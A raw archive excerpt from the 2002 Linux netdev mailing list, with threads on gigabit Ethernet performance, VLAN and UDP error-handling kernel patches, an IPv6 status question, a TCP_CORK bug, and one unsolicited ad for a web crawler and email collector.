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 Aif/xdyRThQkAoN/+UA= --------------030608000203070204070101-- From bcrl@redhat.com Sun Sep 29 17:45:12 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 17:45:14 -0700 (PDT) Received: from touchme.toronto.redhat.com (to-velocet.redhat.com [216.138.202.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U0jBtG013837 for ; Sun, 29 Sep 2002 17:45:12 -0700 Received: from toomuch.toronto.redhat.com (toomuch.toronto.redhat.com [172.16.14.22]) by touchme.toronto.redhat.com (Postfix) with ESMTP id DBD9380018F; Sun, 29 Sep 2002 20:45:10 -0400 (EDT) Received: (from bcrl@localhost) by toomuch.toronto.redhat.com (8.11.6/8.11.6) id g8U0jAp27009; Sun, 29 Sep 2002 20:45:10 -0400 Date: Sun, 29 Sep 2002 20:45:10 -0400 From: Benjamin LaHaise To: Richard Gooch Cc: "Xiaoliang (David) Wei" , netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* Message-ID: <20020929204510.A26826@redhat.com> References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <002f01c2675d$b642b640$f5f2010a@weixl> <200209290634.g8T6Y2o08439@vindaloo.ras.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200209290634.g8T6Y2o08439@vindaloo.ras.ucalgary.ca>; from rgooch@ras.ucalgary.ca on Sun, Sep 29, 2002 at 12:34:02AM -0600 X-archive-position: 413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bcrl@redhat.com Precedence: bulk X-list: netdev On Sun, Sep 29, 2002 at 12:34:02AM -0600, Richard Gooch wrote: > This is all on a LAN (of course; expecting good performance from a WAN > is pretty futile). I use a buffer size of 256 KiB. From my experience tuning on a 550MHz P3 Xeon, you're better off using a buffer size of 8-16KB that stays in the L1 cache. Of course, that was without actually doing anything useful with the data being transferred. Gige really does need a faster cpu in the ghz+ range. As for ns83820, it's a work in progress. Some of the recent bugfixes may have reduced performance, so it may need to be retuned. -ben -- GMS rules. From rgooch@vindaloo.ras.ucalgary.ca Sun Sep 29 17:53:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 17:53:23 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U0rLtG014223 for ; Sun, 29 Sep 2002 17:53:21 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8U0rI420299; Sun, 29 Sep 2002 18:53:18 -0600 Date: Sun, 29 Sep 2002 18:53:18 -0600 Message-Id: <200209300053.g8U0rI420299@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: Benjamin LaHaise Cc: "Xiaoliang (David) Wei" , netdev@oss.sgi.com Subject: Re: Poor gige performance with 2.4.20-pre* In-Reply-To: <20020929204510.A26826@redhat.com> References: <200209282257.g8SMvta32527@vindaloo.ras.ucalgary.ca> <002f01c2675d$b642b640$f5f2010a@weixl> <200209290634.g8T6Y2o08439@vindaloo.ras.ucalgary.ca> <20020929204510.A26826@redhat.com> X-archive-position: 414 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Benjamin LaHaise writes: > On Sun, Sep 29, 2002 at 12:34:02AM -0600, Richard Gooch wrote: > > This is all on a LAN (of course; expecting good performance from a WAN > > is pretty futile). I use a buffer size of 256 KiB. > > From my experience tuning on a 550MHz P3 Xeon, you're better off > using a buffer size of 8-16KB that stays in the L1 cache. Of > course, that was without actually doing anything useful with the > data being transferred. Gige really does need a faster cpu in the > ghz+ range. As for ns83820, it's a work in progress. Some of the > recent bugfixes may have reduced performance, so it may need to be > retuned. Using 8 KiB buffer reduces performance, 16 KiB is almost the same as using 256 KiB. Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From davem@redhat.com Sun Sep 29 18:03:25 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 18:03:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U13OtG014682 for ; Sun, 29 Sep 2002 18:03:24 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id RAA29334; Sun, 29 Sep 2002 17:56:40 -0700 Date: Sun, 29 Sep 2002 17:56:39 -0700 (PDT) Message-Id: <20020929.175639.12656717.davem@redhat.com> To: kai-germaschewski@uiowa.edu Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [BK PATCH] Make eth.c independent of dev->hard_header_len From: "David S. Miller" In-Reply-To: References: <3D974A3D.40207@pobox.com> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 415 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Kai Germaschewski Date: Sun, 29 Sep 2002 14:09:11 -0500 (CDT) On Sun, 29 Sep 2002, Jeff Garzik wrote: > Kai Germaschewski wrote: > > --- a/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 > > +++ b/drivers/net/hamachi.c Sun Sep 29 13:10:36 2002 > > I would prefer to keep the code inside TX_CHECKSUM in hamachi.c, hoping > somebody will complete it, not rip it out :) I didn't really rip out anything. Jeff I think his patch is OK, please confirm. From herald@ns1.nabitel.com Sun Sep 29 18:29:14 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 18:29:18 -0700 (PDT) Received: from ns1.ns1.nabitel.com ([211.218.242.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U1SktG017188 for ; Sun, 29 Sep 2002 18:29:00 -0700 Received: from mail pickup service by ns1.ns1.nabitel.com with Microsoft SMTPSVC; Mon, 30 Sep 2002 10:26:22 +0900 Reply-To: From: To: Subject: (ad)Strong WebRobot/eMailId Collector: Free Download ! Date: Mon, 30 Sep 2002 10:19:54 +0900 MIME-Version: 1.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Message-ID: X-OriginalArrivalTime: 30 Sep 2002 01:26:22.0986 (UTC) FILETIME=[630D66A0:01C26820] Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-length: 1911 X-archive-position: 416 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herald@ns1.nabitel.com Precedence: bulk X-list: netdev Sorry for interrupting you - click refuse for no more mail...=20=09 =A1=A1=20=09 - Welcome to NabiTel's software products and portal services -=20=09 Software Products=20=09 =20 Web Robot: also called web spider or web crawler, collects useful web page informations by navigating world wide web sites.=20 Download free trial version now ! =20 eMail ID Collector: Collects email ids publicly opened on various web pages, with good intention.=20 Download free trial version now ! =20 Portal Services=20=09 Web Portal: Do you have your own home page and want to broadcast it all over the world ? Register your home page to NabiTel Portal Now !! (nabi=3Da butterfly) Register your home page now, it's free ! =20 Automobiles: Do you want to sell or buy automobiles ? Cars, trucks, limos, airplanes, ships,.... All That Cars are here ! Register your vehicles now, it's free ! =20 Computers: Do you want to sell or buy computers ? PCs, printers, scanners, servers, mainframes, .... All That Computers are here !=20 Register your computers now, it's free ! =20 =20=20=09 Food & Restaurants: Are you seeking for a nice place to eat ? Or do you run a restaurant ? Foods of the world, restaurants of the world, .... All That Foods are here !=20 Register your restaurant now, it's free ! =20 Have a nice day. Thank you.=20=09 [[HTML alternate version deleted]] From jgarzik@pobox.com Sun Sep 29 18:59:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 18:59:29 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U1xQtG017732 for ; Sun, 29 Sep 2002 18:59:27 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=pobox.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17vpqH-0007X9-00; Mon, 30 Sep 2002 02:59:25 +0100 Message-ID: <3D97AFDE.9070207@pobox.com> Date: Sun, 29 Sep 2002 21:58:54 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: kai-germaschewski@uiowa.edu, netdev@oss.sgi.com Subject: Re: [BK PATCH] Make eth.c independent of dev->hard_header_len References: <3D974A3D.40207@pobox.com> <20020929.175639.12656717.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 417 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev David S. Miller wrote: > Jeff I think his patch is OK, please confirm. yeah, ok with me From davem@redhat.com Sun Sep 29 21:42:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 21:42:53 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U4gptG023173 for ; Sun, 29 Sep 2002 21:42:51 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id VAA30364; Sun, 29 Sep 2002 21:36:04 -0700 Date: Sun, 29 Sep 2002 21:36:04 -0700 (PDT) Message-Id: <20020929.213604.05620003.davem@redhat.com> To: kai-germaschewski@uiowa.edu Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] Make eth.c independent of dev->hard_header_len From: "David S. Miller" In-Reply-To: References: X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 418 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Kai Germaschewski Date: Sun, 29 Sep 2002 13:34:59 -0500 (CDT) Pull from http://linux-isdn.bkbits.net/linux-2.5.net I tried to pull, but: ? bk pull -n http://linux-isdn.bkbits.net/linux-2.5.net Nothing to pull from http://linux-isdn.bkbits.net/linux-2.5.net ? Are you sure the URL is correct? From seong@etri.re.kr Sun Sep 29 22:03:59 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 22:04:01 -0700 (PDT) Received: from cms1.etri.re.kr (cms1.etri.re.kr [129.254.16.11]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U53wtG024715 for ; Sun, 29 Sep 2002 22:03:59 -0700 Received: from seong (seong1.etri.re.kr [129.254.171.33]) by cms1.etri.re.kr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T74B92M0; Mon, 30 Sep 2002 13:57:38 +0900 Message-ID: <00c901c2683e$e82f7300$21abfe81@seong> From: "Seong Moon" To: Subject: ipv6 implementation status ? Date: Mon, 30 Sep 2002 14:04:51 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-archive-position: 419 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: seong@etri.re.kr Precedence: bulk X-list: netdev How can I know ipv6 implementation status of the kernel ? Now I'm using redhat 7.2 for host and montavista linux 2.1 for target. thanks. From seong@etri.re.kr Sun Sep 29 22:04:52 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 22:04:53 -0700 (PDT) Received: from cms1.etri.re.kr (cms1.etri.re.kr [129.254.16.11]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U54ptG025206 for ; Sun, 29 Sep 2002 22:04:51 -0700 Received: from seong (seong1.etri.re.kr [129.254.171.33]) by cms1.etri.re.kr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T74B9232; Mon, 30 Sep 2002 13:58:31 +0900 Message-ID: <00d301c2683f$07b6bd00$21abfe81@seong> From: "Seong Moon" To: Subject: ipv6 implementation status ? Date: Mon, 30 Sep 2002 14:05:43 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-archive-position: 420 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: seong@etri.re.kr Precedence: bulk X-list: netdev How can I know ipv6 implementation status of the kernel ? Now I'm using redhat 7.2 for host and montavista linux 2.1 for target. thanks. From Bjorn.Andersson@ebc.ericsson.se Mon Sep 30 01:23:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 01:23:54 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U8NktG027526 for ; Mon, 30 Sep 2002 01:23:47 -0700 Received: from ebcs08.ebc.ericsson.se (ebcs08.ebc.ericsson.se [130.100.12.8]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g8U8NjKV001031 for ; Mon, 30 Sep 2002 10:23:45 +0200 (MEST) Received: from ebc.ericsson.se (ebcw019.ebc.ericsson.se [153.88.18.18]) by ebcs08.ebc.ericsson.se (8.8.4/8.8.4) with ESMTP id KAA16124 for ; Mon, 30 Sep 2002 10:23:44 +0200 (MET DST) Message-ID: <3D980A10.8B06F2C2@ebc.ericsson.se> Date: Mon, 30 Sep 2002 10:23:44 +0200 From: Andersson =?iso-8859-1?Q?Bj=F6rn?= Organization: Ericsson Enterprise AB X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en, sv MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: VLAN patches Content-Type: multipart/mixed; boundary="------------71FD21E476E442E5A0CDA059" X-archive-position: 421 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Bjorn.Andersson@ebc.ericsson.se Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------71FD21E476E442E5A0CDA059 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by albatross.wise.edt.ericsson.se id g8U8NjKV001031 Hi, I hope you are the right receiver of 8021q-patches. We are running SuSe 8.0, i.e kernel 2.4.18. - When addding several egress-mappings we get stuck in an eternal loop if they end up in the same hash-bucket, see vlan_dev.c.path. - If we try to remove a vlan with VID 0, ifconfig stops working completly. We fixed it with vlan.c.patch. --=20 * Bj=F6rn Andersson bjorn.andersson@ebc.ericsson.se * * Ericsson Enterprise AB NA/EBC/BEES/DNCC * * Nacka Strand tel: +46-8-422 3512 * * 13 189 Stockholm, Sweden fax: +46-8-422 1010 * --------------71FD21E476E442E5A0CDA059 Content-Type: text/plain; charset=us-ascii; name="vlan.c.patch" Content-Disposition: inline; filename="vlan.c.patch" Content-Transfer-Encoding: 7bit --- linux-2.4.18.SuSE/net/8021q/vlan.c.orig Wed Mar 27 13:57:17 2002 +++ linux-2.4.18.SuSE/net/8021q/vlan.c Wed Sep 18 13:19:13 2002 @@ -207,7 +207,7 @@ #endif /* sanity check */ - if ((vlan_id >= VLAN_VID_MASK) || (vlan_id <= 0)) + if ((vlan_id >= VLAN_VID_MASK) || (vlan_id < 0)) return -EINVAL; spin_lock_bh(&vlan_group_lock); --------------71FD21E476E442E5A0CDA059 Content-Type: text/plain; charset=us-ascii; name="vlan_dev.c.patch" Content-Disposition: inline; filename="vlan_dev.c.patch" Content-Transfer-Encoding: 7bit --- linux-2.4.18.SuSE/net/8021q/vlan_dev.c.orig Wed Mar 27 13:57:17 2002 +++ linux-2.4.18.SuSE/net/8021q/vlan_dev.c Wed Sep 18 13:19:52 2002 @@ -570,6 +570,7 @@ dev_put(dev); return 0; } + mp = mp->next; } /* Create a new mapping then. */ --------------71FD21E476E442E5A0CDA059-- From Eric.Lemoine@sun.com Mon Sep 30 01:49:07 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 01:49:13 -0700 (PDT) Received: from s5.smtp.oleane.net (s5.smtp.oleane.net [195.25.12.15]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U8n6tG002274 for ; Mon, 30 Sep 2002 01:49:06 -0700 Received: from gbl-dhcp-198-204.europe.research.sun.com ([194.2.198.204]) by s5.smtp.oleane.net (8.12.0/8.12.0.Beta14/8.12-FT) with ESMTP id g8U8n3WZ062951; Mon, 30 Sep 2002 10:49:04 +0200 (CEST) Received: from eric by (null) with local (MasqMail 0.1.16) id 17vwEh-06f-00; Mon, 30 Sep 2002 10:49:03 +0200 Date: Mon, 30 Sep 2002 10:49:03 +0200 From: Eric Lemoine To: jamal Cc: shell.cyberus.ca@shell.cyberus.ca, Eric Lemoine , netdev@oss.sgi.com Subject: Re: udp weirdness Message-ID: <20020930084903.GA359@hookipa> References: <20020927150412.GI30392@mea-ext.zmailer.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Warning: return path set from From: address X-archive-position: 422 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Lemoine@sun.com Precedence: bulk X-list: netdev > Ok, understood. Actually we already seem to have enobufs being returned. > > Eric, > Does the attached patch fix it? Not tested or even compiled. > Someone going to change the manpages? protinfo.af_inet.recverr is a flag (1-bit variable) to enable the "extended reliable error message passing"; I dont see any reason for modifying it here. Setting this flag is the user's responsability, isn't it? My patch would look like this: --- ip_output.c.old Mon Sep 30 10:34:07 2002 +++ ip_output.c Mon Sep 30 10:40:08 2002 @@ -604,7 +604,7 @@ skb->dst->dev, output_maybe_reroute); if (err) { if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + err = (err == NET_XMIT_DROP || sk->protinfo.af_inet.recverr ) ? net_xmit_errno(err) : 0; if (err) goto error; } @@ -714,7 +714,7 @@ err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); if (err > 0) - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; + err = (err == NET_XMIT_DROP || sk->protinfo.af_inet.recverr ) ? net_xmit_errno(err) : 0; if (err) goto error; out: > --- linux/net/ipv4/ip_output.c 2002/09/29 10:43:10 1.1 > +++ linux/net/ipv4/ip_output.c 2002/09/29 10:43:10 > @@ -603,8 +603,11 @@ > err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, > skb->dst->dev, output_maybe_reroute); > if (err) { > - if (err > 0) > - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; > + if (err > 0) { > + err = net_xmit_errno(err); > + if (err && sk->protinfo.af_inet.recverr) > + sk->protinfo.af_inet.recverr = err; > + } > if (err) > goto error; > } > @@ -713,8 +716,11 @@ > > err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, > output_maybe_reroute); > - if (err > 0) > - err = sk->protinfo.af_inet.recverr ? net_xmit_errno(err) : 0; > + if (err > 0) { > + err = net_xmit_errno(err); > + if (err && sk->protinfo.af_inet.recverr) > + sk->protinfo.af_inet.recverr = err; > + } > if (err) > goto error; > out: From matti.aarnio@zmailer.org Mon Sep 30 01:52:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 01:52:36 -0700 (PDT) Received: from mail.zmailer.org (mail.zmailer.org [62.240.94.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U8qWtG002650 for ; Mon, 30 Sep 2002 01:52:33 -0700 Received: (mea@mea-ext) by mail.zmailer.org id convert rfc822-to-quoted-printable; Mon, 30 Sep 2002 11:52:29 +0300 Date: Mon, 30 Sep 2002 11:52:29 +0300 From: Matti Aarnio To: Andersson =?iso-8859-1?Q?Bj=F6rn?= Cc: netdev@oss.sgi.com Subject: Re: [VLAN] VLAN patches Message-ID: <20020930085229.GT30392@mea-ext.zmailer.org> References: <3D980A10.8B06F2C2@ebc.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: QUOTED-PRINTABLE In-Reply-To: <3D980A10.8B06F2C2@ebc.ericsson.se> X-archive-position: 423 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: matti.aarnio@zmailer.org Precedence: bulk X-list: netdev On Mon, Sep 30, 2002 at 10:23:44AM +0200, Andersson Bj=F6rn wrote: > Hi, > I hope you are the right receiver of 8021q-patches. > We are running SuSe 8.0, i.e kernel 2.4.18. NETDEV isn't right place. I resent your letter to: vlan@Scry.WANfear.com (which is strictly posting-by-subscribers-only / others-via-moderator list...) > --=20 > * Bj=F6rn Andersson bjorn.andersson@ebc.ericsson.se= * /Matti Aarnio From mbp@samba.org Mon Sep 30 03:01:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 03:01:07 -0700 (PDT) Received: from toey (CPE-203-51-27-86.nsw.bigpond.net.au [203.51.27.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UA12tG004508 for ; Mon, 30 Sep 2002 03:01:02 -0700 Received: by toey (Postfix, from userid 2013) id F1CB58B2FA; Mon, 30 Sep 2002 19:59:10 +1000 (EST) Date: Mon, 30 Sep 2002 19:59:10 +1000 From: Martin Pool To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case Message-ID: <20020930095909.GA8063@toey.sourcefrog.net> References: <20020926054721.GA6039@samba.org> <200209261309.RAA17837@sex.inr.ac.ru> <20020926.134608.31605412.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020926.134608.31605412.davem@redhat.com> User-Agent: Mutt/1.4i X-GPG: 1024D/A0B3E88B: AFAC578F 1841EE6B FD95E143 3C63CA3F A0B3E88B X-archive-position: 424 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mbp@samba.org Precedence: bulk X-list: netdev On 26 Sep 2002, "David S. Miller" wrote: > From: kuznet@ms2.inr.ac.ru > Date: Thu, 26 Sep 2002 17:09:11 +0400 (MSD) > > I do not understand why tcp_push_pending_frames() was not used > there... maybe, there was some reason not to use it. > > Dave, do you not remember this? So where does this leave us? Was the patch we came up with correct? It looks reasonable to me, but I don't know the stack well enough to be sure. I think it would be nice if it could be fixed in 2.2. Let me know if there's anything I can do by way of testing, etc. -- Martin From davem@redhat.com Mon Sep 30 03:39:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 03:39:56 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id 